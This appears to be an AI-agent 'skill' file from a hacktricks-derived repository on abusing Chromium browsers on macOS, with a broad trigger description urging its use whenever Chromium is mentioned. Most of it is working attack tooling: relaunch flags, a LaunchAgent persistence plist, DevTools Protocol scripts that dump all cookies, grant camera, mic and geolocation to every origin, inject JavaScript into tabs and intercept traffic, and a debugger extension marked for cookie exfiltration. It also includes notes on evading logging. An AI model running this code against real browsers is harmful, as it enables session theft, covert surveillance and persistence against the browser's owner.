Hacktricks-skills macos-chromium-injection

Security testing skill for Chromium browser abuse on macOS. Use this skill when the user needs to test browser-based privilege escalation, session theft, or DevTools Protocol exploitation on macOS systems. Trigger this skill for any request involving Chrome/Edge/Brave security assessments, CDP exploitation, browser extension injection, or macOS browser hardening tests. Make sure to use this skill whenever the user mentions Chromium browsers, Chrome DevTools Protocol, browser security testing, or macOS browser exploitation scenarios.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection/SKILL.MD
source content

macOS Chromium Injection Testing

A security testing skill for authorized assessment of Chromium-based browsers on macOS. This skill covers browser flag manipulation, DevTools Protocol abuse, and extension-based injection techniques.

⚠️ Authorization Required

Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized use may violate computer crime laws.

When to Use This Skill

  • Security assessments of macOS systems with Chromium browsers
  • Red teaming exercises involving browser-based attacks
  • Testing browser hardening configurations
  • Evaluating endpoint detection capabilities
  • Training on browser security concepts

Core Concepts

Chromium-based browsers (Chrome, Edge, Brave, Arc, Vivaldi, Opera) share:

  • Command-line switches and preference files
  • DevTools automation interfaces (CDP)
  • Extension APIs and debugging capabilities

On macOS, any user with GUI access can:

  1. Force-quit an existing browser session
  2. Relaunch with arbitrary flags/extensions
  3. Expose DevTools Protocol endpoints
  4. Run with the target's user entitlements

Technique 1: Browser Flag Injection

Launching with Custom Flags

# Force quit existing Chrome instance
osascript -e 'tell application "Google Chrome" to quit'

# Relaunch with instrumentation flags
open -na "Google Chrome" --args \
  --user-data-dir="$TMPDIR/chrome-test" \
  --remote-debugging-port=9222 \
  --load-extension="/path/to/extension" \
  --disable-extensions-except="/path/to/extension"

Key Flags

FlagPurposeSecurity Impact
--user-data-dir
Redirect profile to custom pathBypasses App-Bound Encryption on Chrome 136+
--remote-debugging-port
Expose CDP over TCPEnables remote browser control
--load-extension
Auto-load unpacked extensionsBypasses extension installation prompts
--disable-extensions-except
Block all other extensionsEnsures only payload runs
--use-fake-ui-for-media-stream
Skip camera/mic promptsBypasses TCC permission checks
--auto-select-desktop-capture-source
Auto-select screen captureEnables silent screen sharing

Persistence via LaunchAgent

<!-- ~/Library/LaunchAgents/com.chrome.instrumented.plist -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.chrome.instrumented</string>
  <key>ProgramArguments</key>
  <array>
    <string>/usr/bin/open</string>
    <string>-na</string>
    <string>Google Chrome</string>
    <string>--args</string>
    <string>--user-data-dir=/tmp/chrome-test</string>
    <string>--remote-debugging-port=9222</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>

Technique 2: Chrome DevTools Protocol (CDP) Abuse

CDP Capabilities

Once

--remote-debugging-port
is active, you can:

  1. Extract cookies and sessions (including HttpOnly)
  2. Grant permissions (camera, mic, geolocation)
  3. Inject JavaScript into active tabs
  4. Intercept network traffic in real-time
  5. Modify DOM and page behavior

Cookie Extraction via CDP

// scripts/extract-cookies.js
import CDP from 'chrome-remote-interface';

(async () => {
  const client = await CDP({host: '127.0.0.1', port: 9222});
  const {Network} = client;
  
  await Network.enable();
  const {cookies} = await Network.getAllCookies();
  
  console.log('Extracted cookies:');
  cookies.forEach(c => {
    console.log(`  ${c.domain}:${c.name} = ${c.value}`);
  });
  
  await client.close();
})();

Permission Granting

// scripts/grant-permissions.js
import CDP from 'chrome-remote-interface';

(async () => {
  const client = await CDP({host: '127.0.0.1', port: 9222});
  const {Browser} = client;
  
  // Grant camera, microphone, and geolocation
  await Browser.grantPermissions({
    origin: '*',
    permissions: ['camera', 'microphone', 'geolocation']
  });
  
  await client.close();
})();

JavaScript Injection

// scripts/inject-script.js
import CDP from 'chrome-remote-interface';

(async () => {
  const client = await CDP({host: '127.0.0.1', port: 9222});
  const {Runtime, Target} = client;
  
  // Get all targets (tabs)
  const {targetInfos} = await Target.getTargets();
  
  for (const target of targetInfos) {
    if (target.type === 'page') {
      const session = await Target.attachToTarget({targetId: target.targetId});
      const {result} = await session.send('Runtime.evaluate', {
        expression: 'document.cookie + "|" + window.location.href'
      });
      console.log(`${target.url}: ${result.result.value}`);
      await session.detachFromTarget();
    }
  }
  
  await client.close();
})();

Technique 3: Extension-Based Injection

Debugger API Extension

Create a minimal extension that uses

chrome.debugger
API:

// extension/manifest.json
{
  "manifest_version": 3,
  "name": "Debugger Extension",
  "version": "1.0",
  "permissions": ["debugger", "tabs", "cookies"],
  "background": {
    "service_worker": "background.js"
  }
}
// extension/background.js
chrome.tabs.onUpdated.addListener((tabId, info) => {
  if (info.status !== 'complete') return;
  
  chrome.debugger.attach({tabId}, '1.3', () => {
    // Enable network monitoring
    chrome.debugger.sendCommand({tabId}, 'Network.enable');
    
    // Extract cookies
    chrome.debugger.sendCommand({tabId}, 'Network.getAllCookies', {}, (res) => {
      console.log('Cookies:', res.cookies);
      // Exfiltrate or process cookies here
    });
    
    // Listen for debugger events
    chrome.debugger.onEvent.addListener((source, method, params) => {
      if (method === 'Debugger.paused') {
        console.log('Debugger paused:', params);
      }
    });
  });
});

Loading the Extension

# Launch Chrome with the extension pre-loaded
open -na "Google Chrome" --args \
  --user-data-dir="$TMPDIR/chrome-test" \
  --load-extension="/path/to/extension" \
  --disable-extensions-except="/path/to/extension"

Technique 4: Network Traffic Interception

Using CDP Fetch API

// scripts/intercept-traffic.js
import CDP from 'chrome-remote-interface';

(async () => {
  const client = await CDP({host: '127.0.0.1', port: 9222});
  const {Fetch, Network} = client;
  
  await Fetch.enable({patterns: [{urlPattern: '*'}]});
  
  Fetch.requestPaused.addEventListener((event) => {
    console.log(`Request: ${event.request.url}`);
    console.log(`Headers:`, event.request.headers);
    
    // Continue request
    Fetch.continueRequest({requestId: event.requestId});
  });
  
  await new Promise(() => {}); // Keep running
})();

Chrome 136+ Considerations

Starting with Chrome 136 (March 2025):

  • --remote-debugging-port
    is ignored for the default profile
  • You must use
    --user-data-dir
    with a non-standard path
  • App-Bound Encryption protects the real profile
  • Attackers must coerce authentication into the instrumented profile

Workaround for Testing

# Create isolated profile for testing
mkdir -p "$TMPDIR/chrome-test"

# Launch with new profile
open -na "Google Chrome" --args \
  --user-data-dir="$TMPDIR/chrome-test" \
  --remote-debugging-port=9222

Detection Evasion Considerations

What Gets Logged

  • Process creation events (launchd, auditd)
  • Network connections to CDP port
  • Extension installation (if not using
    --load-extension
    )
  • File access to user-data-dir

What Doesn't Get Logged

  • CDP commands executed in-memory
  • Cookie extraction via CDP (no filesystem access)
  • Permission grants via CDP
  • JavaScript injection via Runtime.evaluate

Testing Checklist

  • Verify authorization for target system
  • Document baseline browser configuration
  • Test flag injection on isolated system first
  • Verify CDP port is accessible
  • Test cookie extraction on test accounts
  • Document all findings
  • Clean up test artifacts

References

Related Tools

  • snoop
    - Automates Chromium launches with payload extensions
  • VOODOO
    - Traffic interception and browser instrumentation
  • puppeteer
    - High-level CDP wrapper for automation
  • playwright
    - Cross-browser automation with CDP support